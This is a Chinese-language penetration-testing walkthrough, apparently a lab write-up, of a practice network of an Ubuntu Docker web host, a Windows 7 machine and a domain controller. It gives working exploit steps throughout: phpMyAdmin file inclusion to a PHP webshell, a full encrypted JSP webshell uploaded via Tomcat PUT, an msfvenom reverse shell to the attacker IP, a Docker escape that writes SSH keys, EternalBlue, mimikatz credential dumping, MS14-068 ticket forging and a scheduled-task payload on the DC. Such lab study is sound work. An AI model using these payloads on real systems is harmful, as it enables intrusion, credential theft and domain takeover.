快捷搜索:  汽车  科技

linux渗透测试教程学习(Linux渗透曲折渗透之路)

linux渗透测试教程学习(Linux渗透曲折渗透之路)ip:192.168.1.128攻击机器(kali):ip:192.168.183.140DC(win2008):ip:192.168.183.130

环境搭建

web服务(ubuntu):

web有三个服务:st2,Tomcat,phpmyadmin。分别为2001,2002,2003端口,为3个docker。

ip1:192.168.1.108 ip2:192.168.183.141

内网主机(win7):

ip:192.168.183.140

DC(win2008):

ip:192.168.183.130

攻击机器(kali):

ip:192.168.1.128

phpmyadmin Getshell

访问对应端口,发现都不需要输入密码直接进去了,那么这里方式就比较多了,提供的思路为使用CVE-2018-12613 漏洞网上已经有师傅分析了,这里就复现一波

linux渗透测试教程学习(Linux渗透曲折渗透之路)(1)

2021最新整理网络安全/渗透测试/安全学习/100份src技术文档(全套视频、CTF、大厂面经、精品手册、必备工具包、路线)一>关注我,私信回复“资料”获取<一
这时一个远程文件包含漏洞,验证payload为:

http://192.168.1.108:2003/index.php?target=db_sql.php%3f/../../../../../../../../etc/passwd

linux渗透测试教程学习(Linux渗透曲折渗透之路)(2)

可以看到读取了passwd的内容,证明漏洞存在。

这里getshell就可以通过包含session临时文件来实现命令执行 执行一个SELECT '<?php phpinfo(); ?>' 命令然后查看session值来访问临时文件。

linux渗透测试教程学习(Linux渗透曲折渗透之路)(3)

执行成功后,查看自己的sessionid,phpmyadmin的值。

linux渗透测试教程学习(Linux渗透曲折渗透之路)(4)

复制该值,把值带到sess_ 直接访问:

http://192.168.1.108:2003/index.php?target=db_sql.php%3f/../../../../../../../../tmp/sess_0b63245d88cef3d904fa32778f96120e

linux渗透测试教程学习(Linux渗透曲折渗透之路)(5)

既然可以RCE,那么这里如何上传webshell呢。构造sql语句如下:

select "<?php file_put_contents('/var/www/html/cmd.php' '<?php @eval($_POST[pass]);?>')?>"

linux渗透测试教程学习(Linux渗透曲折渗透之路)(6)

同样的方法找到sessionid,phpMyadmin的值。

访问:

http://192.168.1.108:2003/index.php?target=db_sql.php%3f/../../../../../../../../tmp/sess_c4056d4984f0aab2e94bc7ddf6ee1a45

linux渗透测试教程学习(Linux渗透曲折渗透之路)(7)

再访问cmd.php,发现成功写入了。

linux渗透测试教程学习(Linux渗透曲折渗透之路)(8)

成功连接。

linux渗透测试教程学习(Linux渗透曲折渗透之路)(9)

linux渗透测试教程学习(Linux渗透曲折渗透之路)(10)

Struts2

访问2001端口,发现为Structs2框架。

linux渗透测试教程学习(Linux渗透曲折渗透之路)(11)

由于是框架,先可以直接用一些写好的工具去扫一波。发现存在S2-045,S2-046漏洞。

linux渗透测试教程学习(Linux渗透曲折渗透之路)(12)

使用S2-046漏洞可直接远程执行命令。

linux渗透测试教程学习(Linux渗透曲折渗透之路)(13)

并且可以直接上传shell,这里shell的路径是可以改的。

linux渗透测试教程学习(Linux渗透曲折渗透之路)(14)

访问后发现返回500,只能说他这个马应该有点问题,利用漏洞应该是没问题的。

linux渗透测试教程学习(Linux渗透曲折渗透之路)(15)

Tomcat

linux渗透测试教程学习(Linux渗透曲折渗透之路)(16)

可以看到这里是8.5.19的Tomcat,一般看到这种都是找一找版本漏洞。这里kali中已经有了相关版本的poc。

searchsploit tomcat 8.5.19

linux渗透测试教程学习(Linux渗透曲折渗透之路)(17)

searchsploit -m /exploit/jsp/webapps/42966.py

linux渗透测试教程学习(Linux渗透曲折渗透之路)(18)

直接利用:

python 42966.py -u http://192.168.1.108:2002/

linux渗透测试教程学习(Linux渗透曲折渗透之路)(19)

可以看到利用成功,并写入了一个shell。访问shell,证实存在漏洞:

linux渗透测试教程学习(Linux渗透曲折渗透之路)(20)

当我想用这个脚本执行一些命令时,出现了一些问题,于是准备自己手动构造一波:

linux渗透测试教程学习(Linux渗透曲折渗透之路)(21)

使用bp抓包,改用PUT,这里使用的是冰蝎2.0的马,3.0的马上传了之后是连不上的。

exp为:

PUT /sd.jsp/ HTTP/1.1 Host: 192.168.1.108:2002 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 617 <%@page import="java.util.* javax.crypto.* javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b 0 b.length);}}%><%if(request.getParameter("pass")!=null){String k=("" UUID.randomUUID()).replace("-" "").substring(16);session.putValue("u" k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2 new SecretKeySpec((session.getValue("u") "").getBytes() "AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

返回201的状态码说明上传成功

linux渗透测试教程学习(Linux渗透曲折渗透之路)(22)

内网渗透

回到phpmyadmin这个shell。想上线cs方便操作,发现他是liunx:

linux渗透测试教程学习(Linux渗透曲折渗透之路)(23)

cs是不自带Linux的上线方式的,但这里还是想上线,使用CrossC2插件上线。

这里如何配置网上的教程已经有很多了,生成一个命令行式的一句话,curl上线。

linux渗透测试教程学习(Linux渗透曲折渗透之路)(24)

但是这里出现了小插曲,可能由于是docker的原因,这里并没有成功上线,更换了webshell工具也是不行的,测试本机都是可以的。

linux渗透测试教程学习(Linux渗透曲折渗透之路)(25)

那么这里只好试试msf,生成elf文件:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.128 LPORT=4444 -f elf > shell.elf

生成elf文件后上传到web根目录下,并chmod命令修改权限为777。

linux渗透测试教程学习(Linux渗透曲折渗透之路)(26)

msf准备接受会话

use exploit/multi/handler set payload linux/x86/meterpreter/reverse_tcp set lhost 192.168.1.128 set lport 4444 run

然后执行shell.elf,成功接收到会话。

linux渗透测试教程学习(Linux渗透曲折渗透之路)(27)

docker逃逸

这里的逃逸方法为privileged特权。特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

此外还可以通过写入计划任务等方式在宿主机执行命令。那么这里就可以尝试使用特权模式写入ssh私钥,使用ssh登录。

查看磁盘文件:fdisk -l

linux渗透测试教程学习(Linux渗透曲折渗透之路)(28)

可以看到是在/dev目录下:ls /dev

linux渗透测试教程学习(Linux渗透曲折渗透之路)(29)

创建一个目录test,将/dev/sda1挂载到新建的目录下

mkdir /test mount /dev/sda1 /test

已经可以访问宿主机上的目录内容了。

linux渗透测试教程学习(Linux渗透曲折渗透之路)(30)

然后使用ssh生成一个私钥,用chmod命令赋予权限。

ssh-keygen -f test chmod 600 test

linux渗透测试教程学习(Linux渗透曲折渗透之路)(31)

这里桌面会生成一个test.pub

ls /test/home即可查看目标机器的用户都有哪些

linux渗透测试教程学习(Linux渗透曲折渗透之路)(32)

进入到ubuntu用户,里面会存在.ssh目录,我们需要将密钥写入.ssh目录并将文件命名为authorized_keys(目标机.ssh目录权限必须为700)。依次执行以下两条命令写入密钥文件。

cp -avx /test/home/ubuntu/.ssh/id_rsa.pub/test/home/ubuntu/.ssh/authorized_keys echo '生成的.pub文件的内容' >/test/home/ubuntu/.ssh/authorized_keys

linux渗透测试教程学习(Linux渗透曲折渗透之路)(33)

再使用ssh去连接ssh -i test ubuntu@192.168.1.108

linux渗透测试教程学习(Linux渗透曲折渗透之路)(34)

这里有个隐藏buff就是历史命令未删除问题,跟接下来拿win7有关系。使用命令history

linux渗透测试教程学习(Linux渗透曲折渗透之路)(35)

liunx系统上线cs

这下应该可以上线cs了吧,还是刚刚的套路,通过curl无文件上线,成功上线。

linux渗透测试教程学习(Linux渗透曲折渗透之路)(36)

查看网卡信息时发现除了刚刚的一些混淆的docker ip外,有另外一张网卡。

linux渗透测试教程学习(Linux渗透曲折渗透之路)(37)

这里就准备扫一下。因为没有自带的端口扫描,上传一个fscan去扫一下:

shell /home/ubuntu/fscan_amd64 -h 192.168.183.1/24

linux渗透测试教程学习(Linux渗透曲折渗透之路)(38)

发现有同网段主机一台win7,并且有永恒之蓝的漏洞。这里就想要利用永恒之蓝,cs在Linux上的功能还是比较缺失的,这里还是先用msf打一波。

通过上传elf文件再执行,得到shell反弹回msf,然后添加路由:

route add 192.168.183.0 255.255.255.0 4 route print

linux渗透测试教程学习(Linux渗透曲折渗透之路)(39)

use auxiliary/server/socks_proxy set version 4a run

修改proxychains4.conf

linux渗透测试教程学习(Linux渗透曲折渗透之路)(40)

使用永恒之蓝模块去打:

use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/bind_tcp set rhosts 192.168.183.140 run

linux渗透测试教程学习(Linux渗透曲折渗透之路)(41)

这里直接上线了,执行命令后发现是有域的。

linux渗透测试教程学习(Linux渗透曲折渗透之路)(42)

linux渗透测试教程学习(Linux渗透曲折渗透之路)(43)

通过nslookup查询迅速确定域控ip:192.168.183.130

linux渗透测试教程学习(Linux渗透曲折渗透之路)(44)

域控出来了,思路就明确了。这里还是想先上线cs方便操作。由于CrossC2提供的功能较少,选择做代理,将cs带入到内网。

使用Venom Proxifier,上传agent到边缘机器。

linux渗透测试教程学习(Linux渗透曲折渗透之路)(45)

边缘机器执行命令:

shell /home/ubuntu//Desktop/agent_linux_x86 -rhost 192.168.1.128 -rport 9999

linux渗透测试教程学习(Linux渗透曲折渗透之路)(46)

配置Proxifier.conf文件

linux渗透测试教程学习(Linux渗透曲折渗透之路)(47)

启动Proxifier后发现已经可以通向内网机器win7。

sudo systemctl start proxifier

linux渗透测试教程学习(Linux渗透曲折渗透之路)(48)

这里可以中继或者使用tcp beacon。但是两个我都没有成功,cross c2在高版本的cs下的功能还是弱了点,就放弃了。

win7信息收集

拿到内网一台主机,首先就想抓他的密码,加上这台主机是win7,是可以直接抓取到明文密码的。这里已经上传了一个mimikatz,直接利用。

linux渗透测试教程学习(Linux渗透曲折渗透之路)(49)

privilege::debug sekurlsa::logonpasswords

win7抓取密码就比较轻松了,这里也是直接抓到明文。也跟上面历史命令相呼应。

linux渗透测试教程学习(Linux渗透曲折渗透之路)(50)

浏览器密码等也是可以翻一下的,比较该主机已经在域内了,很多信息可能对我们拿下域控很有帮助。补丁还是打了不少,不过由于操作系统有点老了,总都会有些洞,经过对比发现ms14-068的补丁并没有安装,是可以利用的。

linux渗透测试教程学习(Linux渗透曲折渗透之路)(51)

通过mimikatz抓取,获得了域内用户douser的sid和明文密码,并且知道域名称等信息,使用工具直接利用。

ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

linux渗透测试教程学习(Linux渗透曲折渗透之路)(52)

注入票据,注入后通过klist查看已经有了票据。

mimikatz # kerberos::list //查看当前机器凭证 mimikatz # kerberos::ptc TGT_douser@DEMO.com.ccache //将票据注入

linux渗透测试教程学习(Linux渗透曲折渗透之路)(53)

通过ipc连接或者dir可以直接访问域控机器,抓取密码的信息中已经有了域控机器名。

linux渗透测试教程学习(Linux渗透曲折渗透之路)(54)

访问拿下域控

net use \\WIN-ENS2VR5TR3N dir \\WIN-ENS2VR5TR3N\C$

linux渗透测试教程学习(Linux渗透曲折渗透之路)(55)

有了ipc连接就可以计划任务上线了。同样生成一个正向的马。上传到DC机器。查看时间,并设置计划任务执行。

copy 2.exe \\WIN-ENS2VR5TR3N\c$\win.exe net time \\WIN-ENS2VR5TR3N schtasks /create /s 192.168.183.130 /tn c /tr c:/win.exe /sc once /st 16:36

linux渗透测试教程学习(Linux渗透曲折渗透之路)(56)

获取到shell,getsystem竟然可以直接提权。抓密码省略。。图太多了。

linux渗透测试教程学习(Linux渗透曲折渗透之路)(57)

后记

本来是想在cs上进行后渗透,由于开头一个linux,cs上线进行后渗透还是困难了一点,msf和cs搭配使用要好一些。。

猜您喜欢: